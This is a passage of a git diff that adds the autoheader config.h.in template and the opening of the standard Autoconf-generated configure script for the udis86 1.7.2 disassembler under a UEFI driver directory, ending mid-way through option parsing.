b/UefiDriver/udis86/config.h.in new file mode 100644 index 0000000..7626fbd --- /dev/null +++ b/UefiDriver/udis86/config.h.in @@ -0,0 +1,71 @@ +/* config.h.in. Generated from configure.ac by autoheader. */ + +/* Define to 1 if you have the header file. */ +#undef HAVE_ASSERT_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_DLFCN_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_INTTYPES_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_MEMORY_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_STDINT_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_STDIO_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_STDLIB_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_STRINGS_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_STRING_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_SYS_STAT_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_SYS_TYPES_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_UNISTD_H + +/* Define to the sub-directory in which libtool stores uninstalled libraries. + */ +#undef LT_OBJDIR + +/* Define to 1 if your C compiler doesn't accept -c and -o together. */ +#undef NO_MINUS_C_MINUS_O + +/* Name of package */ +#undef PACKAGE + +/* Define to the address where bug reports for this package should be sent. */ +#undef PACKAGE_BUGREPORT + +/* Define to the full name of this package. */ +#undef PACKAGE_NAME + +/* Define to the full name and version of this package. */ +#undef PACKAGE_STRING + +/* Define to the one symbol short name of this package. */ +#undef PACKAGE_TARNAME + +/* Define to the home page for this package. */ +#undef PACKAGE_URL + +/* Define to the version of this package. */ +#undef PACKAGE_VERSION + +/* Define to 1 if you have the ANSI C header files. */ +#undef STDC_HEADERS + +/* Version number of package */ +#undef VERSION diff --git a/UefiDriver/udis86/configure b/UefiDriver/udis86/configure new file mode 100644 index 0000000..09f9727 --- /dev/null +++ b/UefiDriver/udis86/configure @@ -0,0 +1,15030 @@ +#! /bin/sh +# Guess values for system-dependent variables and create Makefiles. +# Generated by GNU Autoconf 2.69 for udis86 1.7.2. +# +# Report bugs to . +# +# +# Copyright (C) 1992-1996, 1998-2012 Free Software Foundation, Inc. +# +# +# This configure script is free software; the Free Software Foundation +# gives unlimited permission to copy, distribute and modify it. +## -------------------- ## +## M4sh Initialization. ## +## -------------------- ## + +# Be more Bourne compatible +DUALCASE=1; export DUALCASE # for MKS sh +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : + emulate sh + NULLCMD=: + # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in #( + *posix*) : + set -o posix ;; #( + *) : + ;; +esac +fi + + +as_nl=' +' +export as_nl +# Printing a long string crashes Solaris 7 /usr/bin/printf. +as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' +as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo +as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo +# Prefer a ksh shell builtin over an external printf program on Solaris, +# but without wasting forks for bash or zsh. +if test -z "$BASH_VERSION$ZSH_VERSION" \ + && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then + as_echo='print -r --' + as_echo_n='print -rn --' +elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then + as_echo='printf %s\n' + as_echo_n='printf %s' +else + if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then + as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' + as_echo_n='/usr/ucb/echo -n' + else + as_echo_body='eval expr "X$1" : "X\\(.*\\)"' + as_echo_n_body='eval + arg=$1; + case $arg in #( + *"$as_nl"*) + expr "X$arg" : "X\\(.*\\)$as_nl"; + arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; + esac; + expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" + ' + export as_echo_n_body + as_echo_n='sh -c $as_echo_n_body as_echo' + fi + export as_echo_body + as_echo='sh -c $as_echo_body as_echo' +fi + +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + PATH_SEPARATOR=: + (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { + (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || + PATH_SEPARATOR=';' + } +fi + + +# IFS +# We need space, tab and new line, in precisely that order. Quoting is +# there to prevent editors from complaining about space-tab. +# (If _AS_PATH_WALK were called with IFS unset, it would disable word +# splitting by setting IFS to empty value.) +IFS=" "" $as_nl" + +# Find who we are. Look in the path if we contain no directory separator. +as_myself= +case $0 in #(( + *[\\/]* ) as_myself=$0 ;; + *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break + done +IFS=$as_save_IFS + + ;; +esac +# We did not find ourselves, most probably we were run as `sh COMMAND' +# in which case we are not to be found in the path. +if test "x$as_myself" = x; then + as_myself=$0 +fi +if test ! -f "$as_myself"; then + $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 + exit 1 +fi + +# Unset variables that we do not need and which cause bugs (e.g. in +# pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" +# suppresses any "Segmentation fault" message there. '((' could +# trigger a bug in pdksh 5.2.14. +for as_var in BASH_ENV ENV MAIL MAILPATH +do eval test x\${$as_var+set} = xset \ + && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : +done +PS1='$ ' +PS2='> ' +PS4='+ ' + +# NLS nuisances. +LC_ALL=C +export LC_ALL +LANGUAGE=C +export LANGUAGE + +# CDPATH. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +# Use a proper internal environment variable to ensure we don't fall + # into an infinite loop, continuously re-executing ourselves. + if test x"${_as_can_reexec}" != xno && test "x$CONFIG_SHELL" != x; then + _as_can_reexec=no; export _as_can_reexec; + # We cannot yet assume a decent shell, so we have to provide a +# neutralization value for shells without unset; and this also +# works around shells that cannot unset nonexistent variables. +# Preserve -v and -x to the replacement shell. +BASH_ENV=/dev/null +ENV=/dev/null +(unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV +case $- in # (((( + *v*x* | *x*v* ) as_opts=-vx ;; + *v* ) as_opts=-v ;; + *x* ) as_opts=-x ;; + * ) as_opts= ;; +esac +exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"} +# Admittedly, this is quite paranoid, since all the known shells bail +# out after a failed `exec'. +$as_echo "$0: could not re-execute with $CONFIG_SHELL" >&2 +as_fn_exit 255 + fi + # We don't want this to propagate to other subprocesses. + { _as_can_reexec=; unset _as_can_reexec;} +if test "x$CONFIG_SHELL" = x; then + as_bourne_compatible="if test -n \"\${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then : + emulate sh + NULLCMD=: + # Pre-4.2 versions of Zsh do word splitting on \${1+\"\$@\"}, which + # is contrary to our usage. Disable this feature. + alias -g '\${1+\"\$@\"}'='\"\$@\"' + setopt NO_GLOB_SUBST +else + case \`(set -o) 2>/dev/null\` in #( + *posix*) : + set -o posix ;; #( + *) : + ;; +esac +fi +" + as_required="as_fn_return () { (exit \$1); } +as_fn_success () { as_fn_return 0; } +as_fn_failure () { as_fn_return 1; } +as_fn_ret_success () { return 0; } +as_fn_ret_failure () { return 1; } + +exitcode=0 +as_fn_success || { exitcode=1; echo as_fn_success failed.; } +as_fn_failure && { exitcode=1; echo as_fn_failure succeeded.; } +as_fn_ret_success || { exitcode=1; echo as_fn_ret_success failed.; } +as_fn_ret_failure && { exitcode=1; echo as_fn_ret_failure succeeded.; } +if ( set x; as_fn_ret_success y && test x = \"\$1\" ); then : + +else + exitcode=1; echo positional parameters were not saved. +fi +test x\$exitcode = x0 || exit 1 +test -x / || exit 1" + as_suggested=" as_lineno_1=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_1a=\$LINENO + as_lineno_2=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_2a=\$LINENO + eval 'test \"x\$as_lineno_1'\$as_run'\" != \"x\$as_lineno_2'\$as_run'\" && + test \"x\`expr \$as_lineno_1'\$as_run' + 1\`\" = \"x\$as_lineno_2'\$as_run'\"' || exit 1 + + test -n \"\${ZSH_VERSION+set}\${BASH_VERSION+set}\" || ( + ECHO='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' + ECHO=\$ECHO\$ECHO\$ECHO\$ECHO\$ECHO + ECHO=\$ECHO\$ECHO\$ECHO\$ECHO\$ECHO\$ECHO + PATH=/empty FPATH=/empty; export PATH FPATH + test \"X\`printf %s \$ECHO\`\" = \"X\$ECHO\" \\ + || test \"X\`print -r -- \$ECHO\`\" = \"X\$ECHO\" ) || exit 1 +test \$(( 1 + 1 )) = 2 || exit 1" + if (eval "$as_required") 2>/dev/null; then : + as_have_required=yes +else + as_have_required=no +fi + if test x$as_have_required = xyes && (eval "$as_suggested") 2>/dev/null; then : + +else + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +as_found=false +for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + as_found=: + case $as_dir in #( + /*) + for as_base in sh bash ksh sh5; do + # Try only shells that exist, to save several forks. + as_shell=$as_dir/$as_base + if { test -f "$as_shell" || test -f "$as_shell.exe"; } && + { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$as_shell"; } 2>/dev/null; then : + CONFIG_SHELL=$as_shell as_have_required=yes + if { $as_echo "$as_bourne_compatible""$as_suggested" | as_run=a "$as_shell"; } 2>/dev/null; then : + break 2 +fi +fi + done;; + esac + as_found=false +done +$as_found || { if { test -f "$SHELL" || test -f "$SHELL.exe"; } && + { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$SHELL"; } 2>/dev/null; then : + CONFIG_SHELL=$SHELL as_have_required=yes +fi; } +IFS=$as_save_IFS + + + if test "x$CONFIG_SHELL" != x; then : + export CONFIG_SHELL + # We cannot yet assume a decent shell, so we have to provide a +# neutralization value for shells without unset; and this also +# works around shells that cannot unset nonexistent variables. +# Preserve -v and -x to the replacement shell. +BASH_ENV=/dev/null +ENV=/dev/null +(unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV +case $- in # (((( + *v*x* | *x*v* ) as_opts=-vx ;; + *v* ) as_opts=-v ;; + *x* ) as_opts=-x ;; + * ) as_opts= ;; +esac +exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"} +# Admittedly, this is quite paranoid, since all the known shells bail +# out after a failed `exec'. +$as_echo "$0: could not re-execute with $CONFIG_SHELL" >&2 +exit 255 +fi + + if test x$as_have_required = xno; then : + $as_echo "$0: This script requires a shell more modern than all" + $as_echo "$0: the shells that I found on your system." + if test x${ZSH_VERSION+set} = xset ; then + $as_echo "$0: In particular, zsh $ZSH_VERSION has bugs and should" + $as_echo "$0: be upgraded to zsh 4.3.4 or later." + else + $as_echo "$0: Please tell bug-autoconf@gnu.org and vivek.mt@gmail.com +$0: about your system, including any error possibly output +$0: before this message. Then install a modern shell, or +$0: manually run the script under such a shell if you do +$0: have one." + fi + exit 1 +fi +fi +fi +SHELL=${CONFIG_SHELL-/bin/sh} +export SHELL +# Unset more variables known to interfere with behavior of common tools. +CLICOLOR_FORCE= GREP_OPTIONS= +unset CLICOLOR_FORCE GREP_OPTIONS + +## --------------------- ## +## M4sh Shell Functions. ## +## --------------------- ## +# as_fn_unset VAR +# --------------- +# Portably unset VAR. +as_fn_unset () +{ + { eval $1=; unset $1;} +} +as_unset=as_fn_unset + +# as_fn_set_status STATUS +# ----------------------- +# Set $? to STATUS, without forking. +as_fn_set_status () +{ + return $1 +} # as_fn_set_status + +# as_fn_exit STATUS +# ----------------- +# Exit the shell with STATUS, even in a "trap 0" or "set -e" context. +as_fn_exit () +{ + set +e + as_fn_set_status $1 + exit $1 +} # as_fn_exit + +# as_fn_mkdir_p +# ------------- +# Create "$as_dir" as a directory, including parents if necessary. +as_fn_mkdir_p () +{ + + case $as_dir in #( + -*) as_dir=./$as_dir;; + esac + test -d "$as_dir" || eval $as_mkdir_p || { + as_dirs= + while :; do + case $as_dir in #( + *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( + *) as_qdir=$as_dir;; + esac + as_dirs="'$as_qdir' $as_dirs" + as_dir=`$as_dirname -- "$as_dir" || +$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_dir" : 'X\(//\)[^/]' \| \ + X"$as_dir" : 'X\(//\)$' \| \ + X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || +$as_echo X"$as_dir" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + test -d "$as_dir" && break + done + test -z "$as_dirs" || eval "mkdir $as_dirs" + } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" + + +} # as_fn_mkdir_p + +# as_fn_executable_p FILE +# ----------------------- +# Test if FILE is an executable regular file. +as_fn_executable_p () +{ + test -f "$1" && test -x "$1" +} # as_fn_executable_p +# as_fn_append VAR VALUE +# ---------------------- +# Append the text in VALUE to the end of the definition contained in VAR. Take +# advantage of any shell optimizations that allow amortized linear growth over +# repeated appends, instead of the typical quadratic growth present in naive +# implementations. +if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : + eval 'as_fn_append () + { + eval $1+=\$2 + }' +else + as_fn_append () + { + eval $1=\$$1\$2 + } +fi # as_fn_append + +# as_fn_arith ARG... +# ------------------ +# Perform arithmetic evaluation on the ARGs, and store the result in the +# global $as_val. Take advantage of shells that can avoid forks. The arguments +# must be portable across $(()) and expr. +if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : + eval 'as_fn_arith () + { + as_val=$(( $* )) + }' +else + as_fn_arith () + { + as_val=`expr "$@" || test $? -eq 1` + } +fi # as_fn_arith + + +# as_fn_error STATUS ERROR [LINENO LOG_FD] +# ---------------------------------------- +# Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are +# provided, also output the error to LOG_FD, referencing LINENO. Then exit the +# script with STATUS, using 1 if that was 0. +as_fn_error () +{ + as_status=$1; test $as_status -eq 0 && as_status=1 + if test "$4"; then + as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 + fi + $as_echo "$as_me: error: $2" >&2 + as_fn_exit $as_status +} # as_fn_error + +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then + as_basename=basename +else + as_basename=false +fi + +if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then + as_dirname=dirname +else + as_dirname=false +fi + +as_me=`$as_basename -- "$0" || +$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +$as_echo X/"$0" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + +# Avoid depending upon Character Ranges. +as_cr_letters='abcdefghijklmnopqrstuvwxyz' +as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' +as_cr_Letters=$as_cr_letters$as_cr_LETTERS +as_cr_digits='0123456789' +as_cr_alnum=$as_cr_Letters$as_cr_digits + + + as_lineno_1=$LINENO as_lineno_1a=$LINENO + as_lineno_2=$LINENO as_lineno_2a=$LINENO + eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" && + test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || { + # Blame Lee E. McMahon (1931-1989) for sed's syntax. :-) + sed -n ' + p + /[$]LINENO/= + ' <$as_myself | + sed ' + s/[$]LINENO.*/&-/ + t lineno + b + :lineno + N + :loop + s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ + t loop + s/-\n.*// + ' >$as_me.lineno && + chmod +x "$as_me.lineno" || + { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; } + + # If we had to re-execute with $CONFIG_SHELL, we're ensured to have + # already done that, so ensure we don't try to do so again and fall + # in an infinite loop. This has already happened in practice. + _as_can_reexec=no; export _as_can_reexec + # Don't try to exec as it changes $[0], causing all sort of problems + # (the dirname of $[0] is not the place where we might find the + # original and so on. Autoconf is especially sensitive to this). + . "./$as_me.lineno" + # Exit status is that of the last command. + exit +} + +ECHO_C= ECHO_N= ECHO_T= +case `echo -n x` in #((((( +-n*) + case `echo 'xy\c'` in + *c*) ECHO_T=' ';; # ECHO_T is single tab character. + xy) ECHO_C='\c';; + *) echo `echo ksh88 bug on AIX 6.1` > /dev/null + ECHO_T=' ';; + esac;; +*) + ECHO_N='-n';; +esac + +rm -f conf$$ conf$$.exe conf$$.file +if test -d conf$$.dir; then + rm -f conf$$.dir/conf$$.file +else + rm -f conf$$.dir + mkdir conf$$.dir 2>/dev/null +fi +if (echo >conf$$.file) 2>/dev/null; then + if ln -s conf$$.file conf$$ 2>/dev/null; then + as_ln_s='ln -s' + # ... but there are two gotchas: + # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. + # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. + # In both cases, we have to default to `cp -pR'. + ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || + as_ln_s='cp -pR' + elif ln conf$$.file conf$$ 2>/dev/null; then + as_ln_s=ln + else + as_ln_s='cp -pR' + fi +else + as_ln_s='cp -pR' +fi +rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file +rmdir conf$$.dir 2>/dev/null + +if mkdir -p . 2>/dev/null; then + as_mkdir_p='mkdir -p "$as_dir"' +else + test -d ./-p && rmdir ./-p + as_mkdir_p=false +fi + +as_test_x='test -x' +as_executable_p=as_fn_executable_p + +# Sed expression to map a string onto a valid CPP name. +as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" + +# Sed expression to map a string onto a valid variable name. +as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" + +SHELL=${CONFIG_SHELL-/bin/sh} + + +test -n "$DJDIR" || exec 7<&0 &1 + +# Name of the host. +# hostname on some systems (SVR3.2, old GNU/Linux) returns a bogus exit status, +# so uname gets run too. +ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` + +# +# Initializations. +# +ac_default_prefix=/usr/local +ac_clean_files= +ac_config_libobj_dir=. +LIBOBJS= +cross_compiling=no +subdirs= +MFLAGS= +MAKEFLAGS= + +# Identity of this package. +PACKAGE_NAME='udis86' +PACKAGE_TARNAME='udis86' +PACKAGE_VERSION='1.7.2' +PACKAGE_STRING='udis86 1.7.2' +PACKAGE_BUGREPORT='vivek.mt@gmail.com' +PACKAGE_URL='' + +# Factoring default headers for most tests. +ac_includes_default="\ +#include +#ifdef HAVE_SYS_TYPES_H +# include +#endif +#ifdef HAVE_SYS_STAT_H +# include +#endif +#ifdef STDC_HEADERS +# include +# include +#else +# ifdef HAVE_STDLIB_H +# include +# endif +#endif +#ifdef HAVE_STRING_H +# if !defined STDC_HEADERS && defined HAVE_MEMORY_H +# include +# endif +# include +#endif +#ifdef HAVE_STRINGS_H +# include +#endif +#ifdef HAVE_INTTYPES_H +# include +#endif +#ifdef HAVE_STDINT_H +# include +#endif +#ifdef HAVE_UNISTD_H +# include +#endif" + +ac_subst_vars='am__EXEEXT_FALSE +am__EXEEXT_TRUE +LTLIBOBJS +LIBOBJS +HAVE_SPHINX_DOC_FALSE +HAVE_SPHINX_DOC_TRUE +SPHINX_VERSION +SPHINX_BUILD +HAVE_YASM_FALSE +HAVE_YASM_TRUE +YASM_VERSION +YASM +PYTHON +CPP +OTOOL64 +OTOOL +LIPO +NMEDIT +DSYMUTIL +MANIFEST_TOOL +RANLIB +ac_ct_AR +AR +LN_S +NM +ac_ct_DUMPBIN +DUMPBIN +LD +FGREP +EGREP +GREP +SED +LIBTOOL +am__fastdepCC_FALSE +am__fastdepCC_TRUE +CCDEPMODE +am__nodep +AMDEPBACKSLASH +AMDEP_FALSE +AMDEP_TRUE +am__quote +am__include +DEPDIR +OBJEXT +EXEEXT +ac_ct_CC +CPPFLAGS +LDFLAGS +CFLAGS +CC +TARGET_WINDOWS_FALSE +TARGET_WINDOWS_TRUE +AM_BACKSLASH +AM_DEFAULT_VERBOSITY +AM_DEFAULT_V +AM_V +am__untar +am__tar +AMTAR +am__leading_dot +SET_MAKE +AWK +mkdir_p +MKDIR_P +INSTALL_STRIP_PROGRAM +STRIP +install_sh +MAKEINFO +AUTOHEADER +AUTOMAKE +AUTOCONF +ACLOCAL +VERSION +PACKAGE +CYGPATH_W +am__isrc +INSTALL_DATA +INSTALL_SCRIPT +INSTALL_PROGRAM +OBJDUMP +DLLTOOL +AS +host_os +host_vendor +host_cpu +host +build_os +build_vendor +build_cpu +build +ACLOCAL_AMFLAGS +target_alias +host_alias +build_alias +LIBS +ECHO_T +ECHO_N +ECHO_C +DEFS +mandir +localedir +libdir +psdir +pdfdir +dvidir +htmldir +infodir +docdir +oldincludedir +includedir +localstatedir +sharedstatedir +sysconfdir +datadir +datarootdir +libexecdir +sbindir +bindir +program_transform_name +prefix +exec_prefix +PACKAGE_URL +PACKAGE_BUGREPORT +PACKAGE_STRING +PACKAGE_VERSION +PACKAGE_TARNAME +PACKAGE_NAME +PATH_SEPARATOR +SHELL' +ac_subst_files='' +ac_user_opts=' +enable_option_checking +enable_silent_rules +enable_dependency_tracking +enable_shared +enable_static +with_pic +enable_fast_install +with_gnu_ld +with_sysroot +enable_libtool_lock +with_python +with_yasm +with_sphinx_build +' + ac_precious_vars='build_alias +host_alias +target_alias +CC +CFLAGS +LDFLAGS +LIBS +CPPFLAGS +CPP +PYTHON +YASM +SPHINX_BUILD' + + +# Initialize some variables set by options. +ac_init_help= +ac_init_version=false +ac_unrecognized_opts= +ac_unrecognized_sep= +# The variables have the same names as the options, with +# dashes changed to underlines. +cache_file=/dev/null +exec_prefix=NONE +no_create= +no_recursion= +prefix=NONE +program_prefix=NONE +program_suffix=NONE +program_transform_name=s,x,x, +silent= +site= +srcdir= +verbose= +x_includes=NONE +x_libraries=NONE + +# Installation directory options. +# These are left unexpanded so users can "make install exec_prefix=/foo" +# and all the variables that are supposed to be based on exec_prefix +# by default will actually change. +# Use braces instead of parens because sh, perl, etc. also accept them. +# (The list follows the same order as the GNU Coding Standards.) +bindir='${exec_prefix}/bin' +sbindir='${exec_prefix}/sbin' +libexecdir='${exec_prefix}/libexec' +datarootdir='${prefix}/share' +datadir='${datarootdir}' +sysconfdir='${prefix}/etc' +sharedstatedir='${prefix}/com' +localstatedir='${prefix}/var' +includedir='${prefix}/include' +oldincludedir='/usr/include' +docdir='${datarootdir}/doc/${PACKAGE_TARNAME}' +infodir='${datarootdir}/info' +htmldir='${docdir}' +dvidir='${docdir}' +pdfdir='${docdir}' +psdir='${docdir}' +libdir='${exec_prefix}/lib' +localedir='${datarootdir}/locale' +mandir='${datarootdir}/man' + +ac_prev= +ac_dashdash= +for ac_option +do + # If the previous option needs an argument, assign it. + if test -n "$ac_prev"; then + eval $ac_prev=\$ac_option + ac_prev= + continue + fi + + case $ac_option in + *=?*) ac_optarg=`expr "X$ac_option" : '[^=]*=\(.*\)'` ;; + *=) ac_optarg= ;; + *) ac_optarg=yes ;; + esac + + # Accept the important Cygnus configure options, so we can diagnose typos. + + case $ac_dashdash$ac_option in + --) + ac_dashdash=yes ;; + + -bindir | --bindir | --bindi | --bind | --bin | --bi) + ac_prev=bindir ;; + -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) + bindir=$ac_optarg ;; + + -build | --build | --buil | --bui | --bu) + ac_prev=build_alias ;; + -build=* | --build=* | --buil=* | --bui=* | --bu=*) + build_alias=$ac_optarg ;; + + -cache-file | --cache-file | --cache-fil | --cache-fi \ + | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) + ac_prev=cache_file ;; + -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ + | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) + cache_file=$ac_optarg ;; + + --config-cache | -C) + cache_file=config.cache ;; + + -datadir | --datadir | --datadi | --datad) + ac_prev=datadir ;; + -datadir=* | --datadir=* | --datadi=* | --datad=*) + datadir=$ac_optarg ;; + + -datarootdir | --datarootdir | --datarootdi | --datarootd | --dataroot \ + | --dataroo | --dataro | --datar) + ac_prev=datarootdir ;; + -datarootdir=* | --datarootdir=* | --datarootdi=* | --datarootd=* \ + | --dataroot=* | --dataroo=* | --dataro=* | --datar=*) + datarootdir=$ac_optarg ;; + + -disable-* | --disable-*) + ac_useropt=`expr "x$ac_option" : 'x-*disable-\(.*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && + as_fn_error $? "invalid feature name: $ac_useropt" + ac_useropt_orig=$ac_useropt + ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` + case $ac_user_opts in + *" +"enable_$ac_useropt" +"*) ;; + *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--disable-$ac_useropt_orig" + ac_unrecognized_sep=', ';; + esac + eval enable_$ac_useropt=no ;; + + -docdir | --docdir | --docdi | --doc | --do) + ac_prev=docdir ;; + -docdir=* | --docdir=* | --docdi=* | --doc=* | --do=*) + docdir=$ac_optarg ;; + + -dvidir | --dvidir | --dvidi | --dvid | --dvi | --dv) + ac_prev=dvidir ;; + -dvidir=* | --dvidir=* | --dvidi=* | --dvid=* | --dvi=* | --dv=*) + dvidir=$ac_optarg ;; + + -enable-* | --enable-*) + ac_useropt=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && + as_fn_error $? "invalid feature name: $ac_useropt" + ac_useropt_orig=$ac_useropt + ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` + case $ac_user_opts in + *" +"enable_$ac_useropt" +"*) ;; + *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--enable-$ac_useropt_orig" + ac_unrecognized_sep=', ';; + esac + eval enable_$ac_useropt=\$ac_optarg ;; + + -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ + | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ + | --exec | --exe | --ex) + ac_prev=exec_prefix ;; + -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ + | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ + | --exec=* | --exe=* | --ex=*) + exec_prefix=$ac_optarg ;; + + -gas | --gas | --ga | --g) + # Obsolete; use --with-gas. + with_gas=yes ;; + + -help | --help | --hel | --he | -h) + ac_init_help=long ;; + -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) + ac_init_help=recursive ;; + -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) + ac_init_help=short ;; + + -host | --host | --hos | --ho) + ac_prev=host_alias ;; + -host=* | --host=* | --hos=* | --ho=*) + host_alias=$ac_optarg ;; + + -htmldir | --htmldir | --htmldi | --htmld | --html | --htm | --ht) + ac_prev=htmldir ;; + -htmldir=* | --htmldir=* | --htmldi=* | --htmld=* | --html=* | --htm=* \ + | --ht=*) + htmldir=$ac_optarg ;; + + -includedir | --includedir | --includedi | --included | --include \ + | --includ | --inclu | --incl | --inc) + ac_prev=includedir ;; + -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ + | --includ=* | --inclu=* | --incl=* | --inc=*) + includedir=$ac_optarg ;; + + -infodir | --infodir | --infodi | --infod | --info | --inf) + ac_prev=infodir ;; + -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) + infodir=$ac_optarg ;; + + -libdir | --libdir | --libdi | --libd) + ac_prev=libdir ;; + -libdir=* | --libdir=* | --libdi=* | --libd=*) + libdir=$ac_optarg ;; + + -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ + | --libexe | --libex | --libe) + ac_prev=libexecdir 